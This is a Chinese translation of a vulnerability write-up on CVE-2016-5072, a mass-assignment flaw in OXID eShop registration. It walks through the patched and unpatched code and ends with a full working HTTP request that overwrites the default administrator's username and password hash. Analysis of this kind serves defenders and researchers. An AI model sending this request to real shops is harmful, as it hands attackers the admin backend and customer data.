内容简介:本文翻译自:前段时间,我检查了开源商店软件“OXID eShop”中的已知漏洞,这样做在德国是很受欢迎的。激发我兴趣的问题是攻击者可以获得OXID eShop的完全管理访问权限。这包括所有购物车选项,客户数据和数据库。他们还可以执行PHP代码或将恶意代码注入系统和商店的店面。攻击者和受害者之间不需要交互。
分析开源商店系统OXID中的漏洞
本文翻译自: https://mogwailabs.de/blog/2018/07/vulnerability-spotlight-cve-2016-5072/
前段时间,我检查了开源商店软件“OXID eShop”中的已知漏洞,这样做在德国是很受欢迎的。激发我兴趣的问题是 OXID Security Bulletin 2016-001 (CVE-2016-5072) 漏洞,主要是它的影响很大。下面是adivsory供应商发布的消息:
攻击者可以获得OXID eShop的完全管理访问权限。这包括所有购物车选项,客户数据和数据库。他们还可以执行 PHP 代码或将恶意代码注入系统和商店的店面。攻击者和受害者之间不需要交互。
该供应商还在它的官方公告中发布了 针对这个漏洞的常见问题答疑 。接下来的内容让我越发地好奇了,当我们使用常见的漏洞扫描程序来处理这个漏洞时,要发现它是非常不容易的:
是谁发现了这个问题呢?
这个问题是由OXID的开发人员发现的,而不是第三方人员。OXID eShop之前历经了多次安全审核,但是都没有发现这个问题。
我决定深入探索存在这个漏洞的根本原因以及攻击者是怎么利用这个漏洞的。
基本原理
阅读了漏洞常见问题解答之后,很显然,攻击者可以以某种方式修改管理员用户的现有数据库记录。那让我们来快速浏览一下“oxuser”数据库表。此表用于OXID所有的帐户,其中包括商店管理员和客户。“oxid”列是表格的主要关键点。默认情况下,在安装过程中创建的管理员帐户时oxid字段的值为“oxdefaultadmin”,而其他的ids是使用OXID util方法“generateUID()”生成的MD5哈希值。
select oxid,oxrights,oxusername from oxuser; +----------------------------------+-----------+----------------------+ | oxid | oxrights | oxusername | +----------------------------------+-----------+----------------------+ | oxdefaultadmin | malladmin | info@mogwailabs.de | | e7af1c3b786fd02906ccd75698f4e6b9 | user | info@oxid-esales.com | +----------------------------------+-----------+----------------------+ 2 rows in set (0.00 sec)
PHP数组
为了掌握怎么利用这个问题的知识,有必要先掌握一些关于PHP数组的背景知识。我们将在这里快速介绍一下基础知识。与大多数高级语言一样,PHP本身也是支持数组的。PHP中的数组实际上是一个有序的映射。映射是一种将值与键关联起来的类型。有了密钥(可以是整数或字符串),您可以访问数组中指定的值。以下脚本提供了几个小例子,如何创建/访问该类数组:
<?php // Define a new array my_array $my_array = array( "key1" => "value1", "key2" => "value2", "key3" => "value3", ); // Accessing array values print ("Key: key1, value: " . $my_array['key1'] . "\n"); // Adding additional values to the existing array $my_array['new_value'] = "super new value"; // Accessing the added value: print ("Key: new_value, value: " . $my_array['new_value'] . "\n"); // Create a second array, using integers as keys $my_int_array = array( 0 => 'int value 0', 1 => 'int value 1', 2 => 'int value 3', ); // It is possible to store arrays in arrays $my_array['array_value'] = $my_int_array; // Accessing arrays in arrays print ("Accessing arrays in arrays: " .$my_array['array_value'][1] ."\n\n"); ?>
上面脚本的输出结果为:
php arraytest.php Key: key1, value: value1 Key: new_value, value: super new value Accessing arrays in arrays: int value 1
PHP语言提供了在HTTP请求中传递数组的有趣的可能性,这是现代框架经常使用的一种功能。这是一个将数组作为URL/POST或Cookie参数的小例子:
print("my_array['key1'] = " .$_REQUEST['my_array']['key1'] . "<br/>"); print("my_array['key2'] = " .$_REQUEST['my_array']['key2'] . "<br/>");
数组“my_array”可以按以下方式传递给脚本:
http://10.165.188.125/array_test.php?my_array[key1]=test&my_array[key2]=bla
下面的屏幕截图显示了在OXID商店中注册的新用户帐户。如您所见,参数 invadr
是一个在POST请求中传递的数组。这个变量对于后续理解漏洞是非常重要的。
漏洞分析
在阅读了advisory供应商提供的信息以及查看了已发布的Mod-Security规则之后,显而易见,这个错误与新用户的注册存在着某种关系。分析这个漏洞的最简单方法是将 易受攻击的版本与修复后的版本 进行比对来看看相应的变化。
修复后的程序引入了两个新种新的方法, cleanDeliveryAddress
和 cleanBillingAddress
,两者都在oxcmp_user类中由 createUser()
来调用:
$sPassword2 = oxConfig::getParameter( 'lgn_pwd2', true ); $aInvAdress = oxConfig::getParameter( 'invadr', true ); $aInvAdress = $this->cleanBillingAddress($aInvAdress); $aDelAdress = $this->_getDelAddressData(); $aDelAdress = $this->cleanDeliveryAddress($aDelAdress); $oUser = oxNew( 'oxuser' );
这两种方法的代码非常相似。下面是“cleanDeliveryAddress”的代码:
/** * Removes sensitive fields from billing address data. * * @param array $aBillingAddress * * @return array */ private function cleanBillingAddress($aBillingAddress) { if (is_array($aBillingAddress)) { $skipFields = array('oxuser__oxid', 'oxid', 'oxuser__oxpoints', 'oxpoints', 'oxuser__oxboni', 'oxboni'); $aBillingAddress = array_change_key_case($aBillingAddress); $aBillingAddress = array_diff_key($aBillingAddress, array_flip($skipFields)); } return $aBillingAddress; }
代码对所提供的帐单地址是否是PHP数组进行基本的检查,如果是PHP数组,就删除具有某些键的元素,比如 oxuser__oxid
。那么在用户注册的过程中,billingAdress(变量 $invadr
)的值是实际上是怎么使用的呢?
注:
以下代码示例选自我的测试安装(版本是oxideshop_ce-sync-p-5.2-ce-176),其他版本可能略有不同。
该值将传递给oxUser类中的两个函数,这两个函数都没有被修复后的程序更改:
- oxuser类中的checkValues(行:449)
- oxuser类中的changeUserData(行:463)
顾名思义, checkValues
方法对所提供的参数进行一些基本的检查,并且如果验证失败,则返回异常。
/** * Performs bunch of checks if user profile data is correct; on any * error exception is thrown * * @param string $sLogin user login name * @param string $sPassword user password * @param string $sPassword2 user password to compare * @param array $aInvAddress array of user profile data * @param array $aDelAddress array of user profile data * * @todo currently this method calls oxUser class methods responsible for * input validation. In next major release these should be replaced by direct * oxInputValidation calls * * @throws oxUserException, oxInputException */ public function checkValues($sLogin, $sPassword, $sPassword2, $aInvAddress, $aDelAddress) { /** @var oxInputValidator $oInputValidator */ $oInputValidator = oxRegistry::get('oxInputValidator'); // 1. checking user name $sLogin = $oInputValidator->checkLogin($this, $sLogin, $aInvAddress); // 2. checking email $oInputValidator->checkEmail($this, $sLogin, $aInvAddress); // 3. password $oInputValidator->checkPassword($this, $sPassword, $sPassword2, ((int) oxRegistry::getConfig()->getRequestParameter('option') == 3)); // 4. required fields $oInputValidator->checkRequiredFields($this, $aInvAddress, $aDelAddress); // 5. country check $oInputValidator->checkCountries($this, $aInvAddress, $aDelAddress); // 6. vat id check. $oInputValidator->checkVatId($this, $aInvAddress); // throwing first validation error if ($oError = oxRegistry::get("oxInputValidator")->getFirstValidationError()) { throw $oError; } }
changeUserData
方法看起来更有意义。这段代码会再次调用 checkValues
,然后将 $aInvAddress
数组传递给 assign
方法:
/** * When changing/updating user information in frontend this method validates user * input. If data is fine - automatically assigns this values. Additionally calls * methods (oxuser::_setAutoGroups, oxuser::setNewsSubscription) to perform automatic * groups assignment and returns newsletter subscription status. If some action * fails - exception is thrown. * * @param string $sUser user login name * @param string $sPassword user password * @param string $sPassword2 user confirmation password * @param array $aInvAddress user billing address * @param array $aDelAddress delivery address * * @throws oxUserException, oxInputException, oxConnectionException */ public function changeUserData($sUser, $sPassword, $sPassword2, $aInvAddress, $aDelAddress) { // validating values before saving. If validation fails - exception is thrown $this->checkValues($sUser, $sPassword, $sPassword2, $aInvAddress, $aDelAddress); // input data is fine - lets save updated user info $this->assign($aInvAddress); // update old or add new delivery address $this->_assignAddress($aDelAddress); // saving new values if ($this->save()) { // assigning automatically to specific groups $sCountryId = isset($aInvAddress['oxuser__oxcountryid']) ? $aInvAddress['oxuser__oxcountryid'] : ''; $this->_setAutoGroups($sCountryId); } }
oxBase::assign
方法(如下所示)通过循环来遍历数组,并调用私有方法 _setFieldData
来更新每个数据库字段。这样处理可能会很危险,因为攻击者可以控制数组的键和值,允许他覆盖用户对象的任意字段,而不单单是来自地址的字段。
这基本上是一个“Mass Assignment”漏洞,在旧版本的Ruby on Rails中更加常见。
/** * Assigns DB field values to object fields. Returns true on success. * * @param array $dbRecord Associative data values array * * @return null */ public function assign( $dbRecord ) { if ( !is_array( $dbRecord ) ) { return; } reset($dbRecord ); while ( list( $sName, $sValue ) = each( $dbRecord ) ) { // patch for IIS //TODO: test it on IIS do we still need it //if( is_array($value) && count( $value) == 1) // $value = current( $value); $this->_setFieldData( $sName, $sValue ); } $sOxidField = $this->_getFieldLongName( 'oxid' ); $this->_sOXID = $this->$sOxidField->value; }
向 invadr
数组添加其他字段,我们就可以在注册新帐户的期间覆盖oxuser数据库记录中的任意字段。修改不仅限于我们当前的用户,只要我们知道他们的主键("oxid"),我们也可以覆盖其他帐户的数据。
首当其冲的第一个目标是默认管理员,因为此帐户的“oxid”始终是 oxdefaultadmin
。通过覆盖这个帐户的某些属性,例如用户名和密码哈希值,攻击者就可以破坏帐户并获得OXID商店的管理后端的访问权限。
开发
以下HTTP请求展示了对漏洞的实际利用。我们注册了一个新帐户并将其他字段添加到“invadr”数组中。这应该允许我们覆盖默认管理员帐户的电子邮件地址:
但有点不幸,这似乎不起作用。看来OXID不知怎么地在抱怨我们的密码:
出现这个问题的原因是 checkValues
功能中的检查。该错误是由 checkValues()
调用的方法 checkLogin()
的代码造成的。事实证明,这个功能比“只检查”电子邮件地址要更复杂一些。实际上,我们尝试滥用的“bug”是OXID的一个特征。这就是为什么添加的清理功能不检查 oxuser_username
或 oxuser_oxpassword
的原因所在。
public function checkLogin($oUser, $sLogin, $aInvAddress) { $sLogin = (isset($aInvAddress['oxuser__oxusername'])) ? $aInvAddress['oxuser__oxusername'] : $sLogin; // check only for users with password during registration // if user wants to change user name - we must check if passwords are ok before changing if ($oUser->oxuser__oxpassword->value && $sLogin != $oUser->oxuser__oxusername->value) { // on this case password must be taken directly from request $sNewPass = (isset($aInvAddress['oxuser__oxpassword']) && $aInvAddress['oxuser__oxpassword']) ? $aInvAddress['oxuser__oxpassword'] : oxRegistry::getConfig()->getRequestParameter('user_password'); if (!$sNewPass) { // 1. user forgot to enter password $oEx = oxNew('oxInputException'); $oEx->setMessage(oxRegistry::getLang()->translateString('ERROR_MESSAGE_INPUT_NOTALLFIELDS')); return $this->_addValidationError("oxuser__oxpassword", $oEx); } else { // 2. entered wrong password if (!$oUser->isSamePassword($sNewPass)) { $oEx = oxNew('oxUserException'); $oEx->setMessage(oxRegistry::getLang()->translateString('ERROR_MESSAGE_PASSWORD_DO_NOT_MATCH')); return $this->_addValidationError("oxuser__oxpassword", $oEx); } } } if ($oUser->checkIfEmailExists($sLogin)) { //if exists then we do now allow to do that $oEx = oxNew('oxUserException'); $oEx->setMessage(sprintf(oxRegistry::getLang()->translateString('ERROR_MESSAGE_USER_USEREXISTS'), $sLogin)); return $this->_addValidationError("oxuser__oxusername", $oEx); } return $sLogin; }
当我们在 invAdr
数组中添加 oxuser__oxusername
键的值时,我们还必须提供密码(数组键 oxuser_password
)。然后用我们自己也可以提供的HTTP请求参数 user_password
来检查该字段的值。因此请求中的所有 password fields
必须包含与值相同的哈希散列。
长话短说,我们可以覆盖默认管理员帐户的用户名和密码哈希值。这会将默认管理员的用户名更改为 hacked@mogwailabs.de
,密码为 hacked456
:
POST /index.php?lang=1& HTTP/1.1 Host: 10.165.188.125 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://10.165.188.125/index.php?lang=1&cl=register&fnc=logout&redirect=1 Content-Type: application/x-www-form-urlencoded Content-Length: 1526 Cookie: oxidadminlanguage=en; oxidadminprofile=0%40Standard%4010; language=1; sid=nht6r60vqs46cjkjpdn1t5n6a1; sid_key=oxid Connection: close Upgrade-Insecure-Requests: 1 stoken=98BFFD11⟨=1&actcontrol=register&fnc=registeruser&cl=register&lgn_cook=0&reloadaddress=&option=3&lgn_usr=poc%40mogwailabs.de&lgn_pwd=990caf953cd3b566e11d8f3a02ae612fc6c96f9bb26e14cf93d129e66c0aefd425e4f3991eda97a21738548bd08dc72a3a10bc197c856e6ec42daaa68cf7e2cb&lgn_pwd2=990caf953cd3b566e11d8f3a02ae612fc6c96f9bb26e14cf93d129e66c0aefd425e4f3991eda97a21738548bd08dc72a3a10bc197c856e6ec42daaa68cf7e2cb&blnewssubscribed=0&invadr%5Boxuser__oxsal%5D=MR&invadr%5Boxuser__oxfname%5D=PoC&invadr%5Boxuser__oxlname%5D=PoC&invadr%5Boxuser__oxcompany%5D=&invadr%5Boxuser__oxaddinfo%5D=&invadr%5Boxuser__oxstreet%5D=Poc&invadr%5Boxuser__oxstreetnr%5D=123&invadr%5Boxuser__oxzip%5D=12345&invadr%5Boxuser__oxcity%5D=PoC&invadr%5Boxuser__oxustid%5D=&invadr%5Boxuser__oxcountryid%5D=a7c40f631fc920687.20179984&invadr%5Boxuser__oxstateid%5D=&invadr%5Boxuser__oxfon%5D=&invadr%5Boxuser__oxfax%5D=&invadr%5Boxuser__oxmobfon%5D=&invadr%5Boxuser__oxprivfon%5D=&invadr%5Boxuser__oxbirthdate%5D%5Bmonth%5D=&invadr%5Boxuser__oxbirthdate%5D%5Bday%5D=&invadr%5Boxuser__oxbirthdate%5D%5Byear%5D=&save=&invadr[oxuser__oxid]=oxdefaultadmin&invadr[oxuser__oxusername]=hacked@mogwailabs.de&invadr[oxuser__oxpasssalt]=49a9a9a9a4fc191cba6cec03bb65bad3&invadr[oxuser__oxpassword]=990caf953cd3b566e11d8f3a02ae612fc6c96f9bb26e14cf93d129e66c0aefd425e4f3991eda97a21738548bd08dc72a3a10bc197c856e6ec42daaa68cf7e2cb&user_password=990caf953cd3b566e11d8f3a02ae612fc6c96f9bb26e14cf93d129e66c0aefd425e4f3991eda97a21738548bd08dc72a3a10bc197c856e6ec42daaa68cf7e2cb
您可以检查数据库条目以验证是否成功地利用了漏洞。当然,您也可以登录OXID管理员后端(/admin)。
mysql> select oxid, oxusername from oxuser where oxid='oxdefaultadmin'; +----------------+----------------------+ | oxid | oxusername | +----------------+----------------------+ | oxdefaultadmin | hacked@mogwailabs.de | +----------------+----------------------+ 1 row in set (0.00 sec)
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 聚焦 Web 性能指标 TTI
- [译] 聚焦 Android 11 : 隐私和安全
- Debian 10.9 发布,聚焦 Bug 修复
- 拍照聚焦和曝光,AVFoundation 简明教程
- 聚焦传统网络,学习SDN基础和案例
- 聚焦Inscrypt 2018 隐私计算成热点议题
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
解放战争(上)(1945年8月—1948年9月)
王树增 / 人民文学出版社 / 2009-8 / 60.00
《解放战争》为王树增非虚构文学著述中规模最大的作品。武器简陋、兵力不足的军队对抗拥有现代武器装备的兵力庞大的军队,数量不多、面积有限的解放区最终扩展成为九百六十万平方公里的共和国,解放战争在短短四年时间里演绎的是人类历史上的战争传奇。国际风云,政治智慧,时事洞察,军事谋略,军队意志,作战才能,作品具有宏阔的视角和入微的体察,包含着惊心动魄的人生沉浮和变幻莫测的战场胜负,尽展中国历史上规模最大的一场......一起来看看 《解放战争(上)(1945年8月—1948年9月)》 这本书的介绍吧!